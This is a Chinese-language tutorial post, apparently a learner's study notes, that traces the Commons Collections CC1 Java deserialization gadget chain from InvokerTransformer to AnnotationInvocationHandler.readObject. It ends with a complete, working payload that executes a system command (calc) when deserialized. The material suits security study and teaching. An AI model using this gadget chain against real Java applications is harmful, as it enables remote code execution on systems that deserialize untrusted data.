JAVA反序列化之CC链1

JAVA反序列化之CC链1

环境

JDK版本为JDK-8u65:https://blog.lupf.cn/articles/2022/02/19/1645283454543.html

具体的配置还请参照视频:强烈建议观看此视频:
https://www.bilibili.com/video/BV1no4y1U7E1?vd_source=c210ec42fbb60565fb74b1baf7a2c3ef

分析

首先,我们得明白一个道理,就是JAVA反序列化,我们所构建的payload中每一个类,都是需要可以反序列化的

第二,这条链最终要干的事情只有一个,那就是命令执行或者JNDI注入

第三,我们所选用的构建payload的类,要具有普适性,意思就是我们选择的类最好是JAVA的原生类或者常用的框架类

第四,我们选择的链子的起始类,所传的参数类型要广泛,说人话就是最好接受其它类为参数

最后,链子的起始类一定要重写readObject方法,如果没重写,我们是无法利用的,为啥呢,只有当这个类重写readObject方法时候,里面才有可能调用一些别的函数,我们就是为利用这些函数

最后一条可能不好理解,我们举一个例子:

这里我们假设一个类,可以反序列化,同时重写了readObject方法,类为A(Object a),这下已经满足了反序列化起始类的很多条件了,其中的readObject方法调用了a的一个函数a.func1(),这时

由于我们可以控制A类的参数,所以当我们传入不同的类时,就是执行不同类中的func1方法,这就会给我们反序列化创造无限的可能

经过上面的例子,我们也该明白一个道理,那就是这个func1,一定要在很多类中有这个方法。即很多类中有func1这个同名函数,这样这个函数就能发挥巨大的威力

理解了上面的话,我们就可以开始CC链的构造了

CC链构造之旅

CC链的构造,我们最好倒着来,即使从尾到头的分析,这样我们也能体会CC链发现的过程

首先,根据我们上述所说,CC链的尾端要可以命令执行或者JNDI注入,那我们去找一下,哪个可以反序列化的类可以命令执行呢?

我们首先找到了InvokerTransformer类,我们来看这个类

1

好的,接下来我们看一看这个类中是否可以命令执行呢?我们发现了transform函数

1
2
3
4
5
6
7
8
9
10
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

}

这个函数干了一件事情,就是反射调用了input里面的方法,那么参数是否可控呢,我们来看

1
2
3
4
5
6
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}

这是InvokerTransformer的构造方法,证明了参数完全可控,那我们如何操作呢

1
2
3
Runtime runtime = Runtime.getRuntime();
InvokerTransformer transformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
transformer.transform(runtime);

这样构造之后,我们发现其确实可以命令执行,达到攻击的效果,我们确定,我们现在就要利用transformer方法,那如何调用这个方法呢,我们得去看看其它类中是否有transformer这个同名方法,并且我们可以控制参数

2

我们在TransformedMap中发现了transform同名方法,而且更重要的是,它的参数类型恰好就是Object符合想要传入的类型,这时我们得看valueTransformer参数是否可控,如果不可控,那就白搭了,这个参数我们要控制到其是InvokerTransformer类型的

1
2
3
4
5
6
7
8
9
10
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}


public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

由于其构造方法是保护类型的缘故,我们只能调用decorate方法构造该类,但是好消息是,这个valueTransformer参数,是我们可以控制的,map参数是传向它的父类的,我们随便搞一个map进去就可以了,注意这个静态函数返回的是一个泛型的Map

1
2
3
4
5
6
7
8
9
InvokerTransformer transformer  = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

HashMap<Object,Object> hashMap = new HashMap<>();
Map<Object,Object> transformerManager = TransformedMap.decorate(hashMap,null, transformer);

Class transformerClass = transformerManager.getClass();
Method checksetvalue = transformerClass.getDeclaredMethod("checkSetValue",Object.class);
checksetvalue.setAccessible(true);
checksetvalue.invoke(transformerManager,runtime);

由于保护checkSetValue函数是保护的特性,我们只能反射调用,调用之后,我们发现,计算器弹出,命令执行成功,那么继续,接下来的问题是,谁会调用checkSetValue方法,我们又得去看看其它类中是否有checkSetValue这个同名方法

3

我们只找到了一处用法,此时我们需要控制的是其中的parent参数,让这个参数是transformerManager类型,这样执行setValue函数的时候,就会执行transformerManager里面的checkSetValue()方法

那如何调用该类中的setValue方法呢,其实呢,这个类(此处指的是MapEntry类)的父类继承了Map.Entry接口,这个接口在Map类中有所定义,其中就有setValue方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
interface Entry<K,V> {
/**
* Returns the key corresponding to this entry.
*
* @return the key corresponding to this entry
* @throws IllegalStateException implementations may, but are not
* required to, throw this exception if the entry has been
* removed from the backing map.
*/
K getKey();

/**
* Returns the value corresponding to this entry. If the mapping
* has been removed from the backing map (by the iterator's
* <tt>remove</tt> operation), the results of this call are undefined.
*
* @return the value corresponding to this entry
* @throws IllegalStateException implementations may, but are not
* required to, throw this exception if the entry has been
* removed from the backing map.
*/
V getValue();

/**
* Replaces the value corresponding to this entry with the specified
* value (optional operation). (Writes through to the map.) The
* behavior of this call is undefined if the mapping has already been
* removed from the map (by the iterator's <tt>remove</tt> operation).
*
* @param value new value to be stored in this entry
* @return old value corresponding to the entry
* @throws UnsupportedOperationException if the <tt>put</tt> operation
* is not supported by the backing map
* @throws ClassCastException if the class of the specified value
* prevents it from being stored in the backing map
* @throws NullPointerException if the backing map does not permit
* null values, and the specified value is null
* @throws IllegalArgumentException if some property of this value
* prevents it from being stored in the backing map
* @throws IllegalStateException implementations may, but are not
* required to, throw this exception if the entry has been
* removed from the backing map.
*/
V setValue(V value);

这个类(MapEntry类)的父类重写了Map.Entry接口中的setValue方法

1
2
3
public Object setValue(Object object) {
return entry.setValue(object);
}

最后,该类(MapEntry类)重写了父类的setValue方法,注意(MapEntry类是AbstractInputCheckedMapDecorator类中的一个静态类,关系要搞清楚)

我们再仔细看看,就发现一个不得了的事情,那就是

1
2
3
public class TransformedMap
extends AbstractInputCheckedMapDecorator
implements Serializable {

TransformedMap竟然继承与AbstractInputCheckedMapDecorator类,要知道,这个类中的MapEntry静态类是重写了setValue方法的,那么,直接搞一个遍历不就无敌了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

InvokerTransformer transformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

HashMap<Object,Object> hashMap = new HashMap<>();
//hashMap里面得有值,要不不执行命令,这一点我没多分析
hashMap.put("key", "value");
Map<Object,Object> transformerManager = TransformedMap.decorate(hashMap,null, transformer);

//Class transformerClass = transformerManager.getClass();
//Method checksetvalue = transformerClass.getDeclaredMethod("checkSetValue",Object.class);
//checksetvalue.setAccessible(true);
//checksetvalue.invoke(transformerManager,runtime);

for (Map.Entry entry:transformerManager.entrySet()){
entry.setValue(runtime);
}

我们顺着这个遍历捋一遍,首先transformerManager中没有entrySet方法,那么就会找到它的父类AbstractInputCheckedMapDecorator类,该类中有entrySet方法

1
2
3
4
5
6
7
8
9
10
11
//AbstractInputCheckedMapDecorator类中的entrySet方法
//isSetValueChecking()函数默认返回true
public Set entrySet() {
if (isSetValueChecking()) {
return new EntrySet(map.entrySet(), this);
} else {
return map.entrySet();
}
}

//此时这里的this便是transformerManager

此时上面的循环里的entry就会有两个值,一个是map.entrySet()[就是我们传入的hashMap],一个是我们transformer

当前面的hashMap设置完后,看似是调用entry.setValue(runtime); 实则是调用transformer.setValue(runtime)

好巧不巧的是transformer并没有setValue方法,在其父类AbstractInputCheckedMapDecorator中发现有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

}
就是前面的那个,这里是父类是AbstractInputCheckedMapDecorator是真的巧

那么此时parent就是transformer,参数就是runtime这个类,即是transformer.checkSetValue(runtime)

这不就成功调用其中的checkSetValue方法了吗,到这里我们继续这个链子的构造

我们继续寻找有setValue方法的类,它最好能在某个类的readObject方法中,因为我们的链子也该开始寻找源头了

4

我们在该类中找到了setValue方法,更重要的是它的实现是在readObject类中的,也就是说,这个类无力的合适作为我们反序列化的起始类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
1
2
3
4
5
6
7
8
9
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

我们在查看该类的构造类之后,发现,该类的第二个参数我们也可控,美滋滋

至此位置,我们可以构建基本的payload了,但是有一个更重要的问题待我们解决,那就是Runtime类无法反序列化,但是Runtime.class类可以反序列化,所以

1
2
3
4
5
6
7
8
9
10
11
12
//获取class
Class c = Runtime.class;

//获取Runtime无参构造方法
Method m_runtime = c.getMethod("getRuntime",null);
//获取exec方法
Method m_exec = c.getMethod("exec",String.class);
//用获取的无参构造方法构造出一个Runtime类
Runtime runtime = (Runtime) m_runtime.invoke(null, null);

//传入这个Runtime类来执行exec函数
m_exec.invoke(runtime,"calc");

接下来就是,我们如何构造InvokerTransformer对象

1
2
3
4
5
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
}

我们先构造一个Transformer类型的数组,然后说说我们为啥要搞数组,因为有一个ChainedTransformer类,可以降低我们的代码量

1
2
3
4
5
6
7
8
9
10
11
 
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

它支持我们传入Transformer类型的数组,也可以循环调用该数组中每个类的transform方法,而且这个循环是递归的哦,所以要注意数组的顺序,是固定的,结合前面的分析构造如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
//chainedtransformer.transform(Runtime.class);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("key", "value");
Map<Object,Object> transformerManager = TransformedMap.decorate(hashMap,null, chainedtransformer);



Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获得构造器
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, transformerManager);

此时我们的一个问题算是解决了,但还是有问题的,我们必须经过两个if才能到达代码执行的地方

5

String name = memberValue.getKey();这段代码获取我们呢传入的HashMap的键值,那下面的memberType是哪里来的呢,我们仔细的查看该类

1
2
3
4
5
 AnnotationType annotationType = null;
annotationType = AnnotationType.getInstance(type); //这个type是该类的第一个参数,也是我们序列化时传入的注解类Override.class
Map<String, Class<?>> memberTypes = annotationType.memberTypes(); //获取注解类中的成员方法

Class<?> memberType = memberTypes.get(name); //即我们传入的HsahMap里面的键值要在我们传入的注解类中的成员方法中查找到

那就好说了,首先我们传入的注解类要有成员方法,这是第一,然后在这个类中随便找一个成员方法,把它的名字复制到我们构造的HashMap的键值上就可以了

Override.class注解类中是没有成员方法的,我们只能重新选择一个,我们找到了这个

6

里面的成员方法名字是value,所以构造payload如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
//chainedtransformer.transform(Runtime.class);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value"); //键值为value
Map<Object,Object> transformerManager = TransformedMap.decorate(hashMap,null, chainedtransformer);


Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获得构造器
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformerManager); //传入Target.class类

//SerializeUtil.serialize(o,"o.bin");

Object deserialize = SerializeUtil.deserialize("o.bin");

构造之后我们发现,第二个if也通过了,这是为何呢,简单的说呢:

当执行到函数annotationType = AnnotationType.getInstance(type);Map<String, Class<?>> memberTypes = annotationType.memberTypes();

返回值为{"value": ElementType[].class},因为我们传入的是Target.class

当执行完String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);,返回依然是{"value": ElementType[].class}

当进行到下面的判断时

1
2
3
4
5
6
Object value = memberValue.getValue();   //获取到的是我们HashMap的键名对应的值,就是"value",是一个不折不扣的字符串  '注意我们传入的键值都是value'
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy))

//所以此时memberType就是{"value": ElementType[].class}
//memberType.isInstance(value)检出我们传入的value的类型是否是ElementType[].class类型,可是我们获取的value是一个字符串类型,值是"value"

所以通过了判断,再简单一点就是类型不匹配的意思,可以这样理解,最后就是执行的问题呢,可以我们如何控制参数呢

1
2
3
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));

这个参数完全不可控啊或者说没法达到我们控制的预期,我们只能另寻办法,于是,找到一个类ConstantTransformer

这个类也继承于Transformer,可以直接写进我们构造的数组中,其最厉害的特性在于7

8

它的transform函数里面传啥类都不重要,它只返回自己的iConstant成员变量,而这个我们又可控,类又继承于Transformer,直接放进我们构造的数组中,实现递归调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);
//chainedtransformer.transform(Runtime.class);

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");
Map<Object,Object> transformerManager = TransformedMap.decorate(hashMap,null, chainedtransformer);


Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获得构造器
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformerManager);

//SerializeUtil.serialize(o,"o.bin");


Object deserialize = SerializeUtil.deserialize("o.bin");

至此,payload构建完成

结语

我只能说,想出这个的是个天才,我每天搞2个半小时,连续三天,才勉强分析完毕并写出这篇文章,我认为我理解的还是有缺陷的,但是对于我这种java菜鸟而言,这种链子想一下子吃透是不可能的,只能在后续的代码审计中提升自己的能力,师傅们,共勉,希望我们文章对大家有帮助.

强烈建议观看此视频:【Java反序列化CommonsCollections篇(一) CC1链手写EXP】https://www.bilibili.com/video/BV1no4y1U7E1?vd_source=c210ec42fbb60565fb74b1baf7a2c3ef

你将受益匪浅